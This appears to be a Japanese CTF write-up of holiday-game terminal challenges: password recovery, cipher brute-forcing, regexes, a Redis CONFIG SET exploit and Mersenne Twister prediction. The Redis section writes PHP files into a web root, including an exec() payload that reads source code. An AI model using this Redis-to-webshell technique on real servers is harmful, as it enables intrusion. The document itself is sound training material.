Note: These don't require low-level reverse engineering, so you can put away IDA and Ghidra (unless you WANT to use them!)

$ ls
door  lab  lights  lights.conf  vending-machines  vending-machines.json

door問題に関係するのはdoorバイナリのみの様子。

$ strings door | grep password
/home/elf/doorYou look at the screen. It wants a password. You roll your eyes - the 
password is probably stored right in the binary. There's gotta be a
Be sure to finish the challenge in prod: And don't forget, the password is "Op3nTheD00r"
Beep boop invalid password

パスワードstringsコマンドだけでみつかっちゃった。

$ ./door 
You look at the screen. It wants a password. You roll your eyes - the 
password is probably stored right in the binary. There's gotta be a
tool for this...
What do you enter? > Op3nTheD00r
Checking......
Door opened!

なんかドアが開いたらしい!

lights

次はlightをつける課題。

$ strings lights.conf 
password: E$ed633d885dcb9b2f3f0118361de4d57752712c27c5316a95d9e5e5b124
name: elf-technician

lightsは、どうやらこのconfigを読み込んで動作しているらしい。
passwordは何らかの方法で暗号化(hashっぽい)されているので、戻してあげる必要がある。このpasswordの最初のE$ってのがよくわからなかったんだけど、それ以外のところで64文字。sha-256とかと同じhash長。
探してみたんだけど、これに当てはまるhash関数がよくわからなかった。

ちなみに、elfが所有者の一段下の階層labのファイルは色々書き換えたり出来る。
configのnameを書き換えると、プログラム中で呼ばれる名前が変わる。

色々試行錯誤した結果、lights.confのほうのpasswordを空にして./lights実行、空のpasswoordをenterすると通った。

$ cat lights.conf
password: 
name: elf-technician
$ $ ./lights 
The speaker unpreparedness room sure is dark, you're thinking (assuming
you've opened the door; otherwise, you wonder how dark it actually is)
You wonder how to turn the lights on? If only you had some kind of hin---
 >>> CONFIGURATION FILE LOADED, SELECT FIELDS DECRYPTED: /home/elf/lab/lights.conf
---t to help figure out the password... I guess you'll just have to make do!
The terminal just blinks: Welcome back, elf-technician
What do you enter? > 
Checking......
That would have turned on the lights!
If you've figured out the real password, be sure you run /home/elf/lights

うーん。何も起こらない…。そうか、元の階層で通らないと電気はつかないのか。
でも元の階層はroot所有だから、ファイルを書き換えたり削除・変更・作成できないんだよね…。

再度、近くにいるBushyさんの話を最後まで読んでみると

What if we set the user name to an encrypted value?

あー、もしかしてnameにhash化されたpassword入れたら、"SELECT FIELDS DECRYPTED" って言ってるし、decryptして表示してくれる可能性があるってことか。

$ cat lights.conf 
password: E$ed633d885dcb9b2f3f0118361de4d57752712c27c5316a95d9e5e5b124
name: E$ed633d885dcb9b2f3f0118361de4d57752712c27c5316a95d9e5e5b124
$ ./lights 
The speaker unpreparedness room sure is dark, you're thinking (assuming
you've opened the door; otherwise, you wonder how dark it actually is)
You wonder how to turn the lights on? If only you had some kind of hin---
 >>> CONFIGURATION FILE LOADED, SELECT FIELDS DECRYPTED: /home/elf/lab/lights.conf
---t to help figure out the password... I guess you'll just have to make do!
The terminal just blinks: Welcome back, Computer-TurnLightsOn

でた。これが戻したpasswordなので、上の階層のlightsComputer-TurnLightsOnを入れてあげれば良い。

vending-machines

今回はちゃんとBushyくんのアドバイスを先に聞く。

Play around with ./vending_machines in the lab folder.

You know what might be worth trying? Delete or rename the config file and run it.

Then you could set the password yourself to AAAAAAAA or BBBBBBBB.

If the encryption is simple code book or rotation ciphers, you'll be able to roll back the original password.

なるほど。攻略の仕方をちゃんと教えてくれている。なんて親切。

$ ls lab
door  lights  lights.conf  vending-machines  vending-machines.json
$ cat vending-machines.json 
{
  "name": "elf-maintenance",
  "password": "LVEdQPpBwr"
}

今回のconfigファイルはjson。

$ ./vending-machines 
The elves are hungry!
If the door's still closed or the lights are still off, you know because
you can hear them complaining about the turned-off vending machines!
You can probably make some friends if you can get them back on...
Loading configuration from: /home/elf/vending-machines.json
I wonder what would happen if it couldn't find its config file? Maybe that's
something you could figure out in the lab...
Welcome, elf-maintenance! It looks like you want to turn the vending machines back on?
Please enter the vending-machine-back-on code > LVEdQPpBwr
Checking......
Beep boop invalid password

jsonファイルそのままではパスワードではないみたい。今回も実行時にconfiigファイルにある名前を教えてくれている。
Bushy君のアドバイスによると、shfit暗号の可能性がありそうなので、言われたとおりにやってみます。まず、jsonのpasswordを空にすると実行時のpasswordも空でOKだったので、1文字ずつ対応を確定していけそう。"A"のときは"?"になる?みたいにjsonのpasswordをどんどん書き換えて試せばできそう。

でもChecking.....のとき数秒待たされるのと、いちいち手でconfig書き換えるのめんどいので、スクリプト書いて自動で回すようにした。

import json
import os
from subprocess import Popen, PIPE

rotated = 'LVEdQPpBwr'

with open('vending-machines.json', 'r') as f:
    conf = json.load(f)

password = ''
for i in range(len(rotated)):
    conf['name'] = rotated[:i+1]
    conf['password'] = rotated[:i+1]
    with open('vending-machines.json', 'w') as f:
        json.dump(conf, f, indent=4)
    for i in range(0x30,0x7d):
        print password + chr(i)
        p = Popen("./vending-machines", stdin = PIPE, stdout = PIPE)
        p.stdin.write(password + chr(i) + "\n")
        ans = p.stdout.read()
        if 'That would have enabled the vending machines!' in ans:
            print chr(i)
            password += chr(i)
            break
        p.stdin.close()
        p.stdout.close()

このterminalのpythonは2系だった…。
これを /home/elf/lab/test.py に配置して

$ python test.py
0
...
CandyCand
CandyCane
e
CandyCane0
CandyCane1
1

👍
あとは、本体の方をlabで得られたpasswordを入れて実行

$ ./vending-machines 
The elves are hungry!
If the door's still closed or the lights are still off, you know because
you can hear them complaining about the turned-off vending machines!
You can probably make some friends if you can get them back on...
Loading configuration from: /home/elf/vending-machines.json
I wonder what would happen if it couldn't find its config file? Maybe that's
something you could figure out in the lab...
Welcome, elf-maintenance! It looks like you want to turn the vending machines back on?
Please enter the vending-machine-back-on code > CandyCane1
Checking......
Vending machines enabled!!

自販機が動きました!
最初からでてくるアルファベットのMapを作っちゃ追うかと思ったけど、keyが設定されている(ヴィジュネル暗号)とかで1:1に文字が対応していない可能性を考えてやらなかったら、正解だったっぽい👍

SORT-O-MATIC

そばの Minty Candycane 君からヒントを貰います。どうやら正規表現に関する問題っぽい。
JavaScript用の正規表現チートシートを教えてくれるので、これを参考に。

  1. Matches at least one digit
\d
  1. Matches 3 alpha a-z characters ignoring case
[a-zA-Z]{3}
  1. Matches 2 chars of lowercase a-z or numbers
[0-9a-z]{2}
  1. Matches any 2 chars not uppercase A-L or 1-5
[^A-L1-5]{2}
  1. Matches three or more digits only
^\d{3,}$
  1. Matches multiple hour:minute:second time formats only
^([0-5]\d):([0-5]\d):([0-5]\d)$
  1. Matches MAC address format only while ignoring case
^([0-9a-fA-F]{2}[:]?){5}[0-9a-fA-F]{2}$
  1. Matches multiple day, month, and year date formats only
^(0[1-9]|[12][0-9]|3[01])[\/.-](0[1-9]|1[012])[\/.-](19|20)\d\d$

🙌

Redis Bug Hunt (terminal)

We need your help!!

The server stopped working, all that's left is the maintenance port.

To access it, run:

curl http://localhost/maintenance.php

We're pretty sure the bug is in the index page. Can you somehow use the maintenance page to view the source code for the index page?

言われたとおりcurlしてみます。

$ curl http://localhost/maintenance.php
ERROR: 'cmd' argument required (use commas to separate commands); eg:
curl http://localhost/maintenance.php?cmd=help
curl http://localhost/maintenance.php?cmd=mget,example1

ほうほう、cmd=のクエリが必要らしい。まずは何が出来るか見てみよう。

$ curl http://localhost/maintenance.php?cmd=help
Running: redis-cli --raw -a '<password censored>' 'help'
redis-cli 5.0.3
To get help about Redis commands type:
      "help @<group>" to get a list of commands in <group>
      "help <command>" for help on <command>
      "help <tab>" to get a list of possible help topics
      "quit" to exit
To set redis-cli preferences:
      ":set hints" enable online hints
      ":set nohints" disable online hints
Set your preferences in ~/.redisclirc
$ curl http://localhost/maintenance.php?cmd=mget,example1
Running: redis-cli --raw -a '<password censored>' 'mget' 'example1'
The site is in maintenance mode
$ curl http://localhost/maintenance.php?cmd=mget,example2
Running: redis-cli --raw -a '<password censored>' 'mget' 'example2'
We think there's a bug in index.php

どうやらredisのコマンドが?cmd=のクエリをつけるとたたけるようになっているらしい。
問題文と上記の結果から、目標は index.phpを取ってくること。

$ curl http://localhost/maintenance.php?cmd=keys,*     
Running: redis-cli --raw -a '<password censored>' 'keys' '*'
example1
example2

キー一覧を見てみると、example1とexample2しか入ってない。
どこかで入手したHintの情報より、Redis RCEこれをやるらしい。

日本語の説明サイトも発見。ありがたし。
RedisからOSコマンドを実行する攻撃方法(CONFIG SET編) - knqyf263's blog

$ curl http://localhost/maintenance.php?cmd=config,set,dir,/home/player/
$ curl http://localhost/maintenance.php?cmd=config,set,dbfilename,redis.php
$ curl http://localhost/maintenance.php?cmd=set,test,"<?php+phpinfo();+?>"
$ curl http://localhost/maintenance.php?cmd=save
$ ls
redis.php
$ curl http://localhost/maintenance.php?cmd=mget,test
<?php phpinfo(); ?>

指定したlocalのフォルダに、redisコマンドで作成したファイルが保存された。
でも実行されないんだよなー。あ、webサイト構築directoryにphpコードを送り込んだら良いのかな?

まずはindex.phpを見てみよう。

$ curl http://localhost/index.php      
Something is wrong with this page! Please use http://localhost/maintenance.php to see if you can figure out what's going onplaye

これでindex.phpにアクセスできる。そしたら document_rootは/var/www/html/だろうから

$ curl http://localhost/maintenance.php?cmd=config,set,dir,/var/www/html/
$ curl http://localhost/maintenance.php?cmd=config,set,dbfilename,index.php
$ curl http://localhost/maintenance.php?cmd=set,test,"<?php+phpinfo();+?>"
$ curl http://localhost/maintenance.php?cmd=save
$ curl http://localhost/maintenance.php?cmd=mget,test
$ curl http://localhost/index.php --output output.log
$ strings output.log
...
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "DTD/xhtml1-transitional.dtd"
>
<html xmlns="http://www.w3.org/1999/xhtml"><head>
...

こんな感じでphp infoが抜けてる!phpスクリプトをちゃんと実行してくれるみたい。

f:id:kusuwada:20210111070103p:plain

よし。この調子で。document_rootもあってる。index.phpをなんとか読み込みたい。
試行錯誤しいていたのだけど、上記のようにindex.php上書きしちゃ駄目じゃん!だったので、redis.phpに書き込んでindex.phpの内容を読み込ませる方式に変更。

$ curl http://localhost/maintenance.php?cmd=config,set,dir,/var/www/html/
$ curl http://localhost/maintenance.php?cmd=config,set,dbfilename,redis.php
$ curl http://localhost/maintenance.php?cmd=set,test,"<?php+exec('cat+index.php+>+out.txt');+?>"
$ curl http://localhost/maintenance.php?cmd=save
$ curl http://localhost/redis.php
$ curl http://localhost/out.txt
<?php
# We found the bug!!
#
#         \   /
#         .\-/.
#     /\ ()   ()
#       \/~---~\.-~^-.
# .-~^-./   |   \---.
#      {    |    }   \
#    .-~\   |   /~-.
#   /    \  A  /    \
#         \/ \/
# 
echo "Something is wrong with this page! Please use http://localhost/maintenance.php to see 
if you can figure out what's going on"
?>

最後バッジを貰ったのは、もしかしたら、 out.txt--output output とかでlocalにファイルとして保存して cat output したかもしれん。

Snowball Fight (game machine)

elf: Tangle Coalbox

ゲーム機を立ち上げると、こんな画面

f:id:kusuwada:20210111070201p:plain:w300 f:id:kusuwada:20210111070205p:plain:w300 f:id:kusuwada:20210111070212p:plain:w300

  • Welcome to Snowball Fight! You and an opponent each have five snow forts, but you can't see the others' layout. Start lobbing snowballs back and forth. Be the first to hit everthing on your opponent's side!

  • Note: On easier levels, you may pick your own name. On the Hard and Impossible level, we will pick for you. That's just how things work around here!

  • What's more, on Impossible, we won't even SHOW you your name! In fact, just to make sure things are super random, we'll throw away hundreds of random names before starting!

遊び方が全然わからん。雪合戦らしい。敵の要塞のレイアウトがわからないようになっている。敵の要塞全部にボールをぶつければ勝ち。

ヒントをいくつかもらっていたので見てみる。

  • Tom Liston is giving two talks at once - amazing! One is about the Mersenne Twister.

  • Need extra Snowball Game instances? Pop them up in a new tab from https://snowball2.kringlecastle.com.

  • While system time is probably most common, developers have the option to seed pseudo-random number generators with other values.

  • Python uses the venerable Mersenne Twister algorithm to generate PRNG values after seed. Given enough data, an attacker might predict upcoming values.

メルセンヌツイスターの乱数生成予測関連の問題っぽい!
Holiday Hack Gameの中のゲーム機以外にも、https://snowball2.kringlecastle.comが提供されている。
最後のヒントで紹介されてる予測スクリプト、@kimiyuki_u さんのだ!見たことあるうさぎが出てきて驚いた。

ゲームを何度かやってみてわかったこと

  • EasyはCheetしなくてもだいたい勝てる(相手がMissしまくる)
  • Easy, MediumはPlayer Nameを自由に入れられる
  • Playe Nameが同じときは、別の難易度でも自分・Enemy共に盤面が同じになる
  • HardはPlayer Nameを勝手に決められるが、見える
  • ImpossibleはPlayer Nameを勝手に決められる上に見えない
  • ImpossibleはEnemyがMissしないので、確実に全部当てる必要がある

以上のことより、Hardは別窓で同じPlayerNameに設定したEasy問題を開いて勝ち、相手の盤面を把握してから挑むことでクリアできました。
Impossibleはどうしたらいいの…?

ここで、ヒントにでてきたMersenne Twister Predictionと、問題文の最後の行

What's more, on Impossible, we won't even SHOW you your name! In fact, just to make sure things are super random, we'll throw away hundreds of random names before starting!

から、おそらくPlayer Nameを予測するのだろうと当たりをつける。そもそもPlayer Nameって相手はEnemyなのに自分は3041428099と数値なのもなんか変だ。

もう一度impossibleのゲームを開始してみる。htmlのソースを良く見てみると、

  <!--
    Seeds attempted:
    
    1208863108 - Not random enough
    3995481139 - Not random enough
    1369451260 - Not random enough
    4169693605 - Not random enough
    ...
    4266748940 - Not random enough
    2033286299 - Not random enough
    3650400524 - Not random enough
    <Redacted!> - Perfect!

というコメントが!
数えてみるとちょうど Not random enough が624個ある。最後のRedactedがPlayer Nameでしょう。やったね!
あとは、紹介されたgithubのコードのサンプルをちょっと変えてやればPlayer Nameが推測できる。

ゲーム機の方でImpossibleを開き、624個のintegerを手に入れ、predict.txtに整形して保存。こちらのソースで次の値を予測する。

import random
from mt19937predictor import MT19937Predictor

predictor = MT19937Predictor()
with open('predict.txt', 'r') as f:
    for i in range(624):
        x = int(f.readline())
        predictor.setrandbits(x, 32)

print(predictor.getrandbits(32))

実行結果

$ python predict.py 
21590909

この値を、別のスタンドアロンのサイト https://snowball2.kringlecastle.com/ の easyのPlayer Nameに入れて勝ち、Enemyの盤面を把握。

f:id:kusuwada:20210111070450p:plain:w400

これを元にゲーム機の方でミス無しで雪玉をfortにノーミスで当てていくと勝ち!

f:id:kusuwada:20210110062900p:plain:w400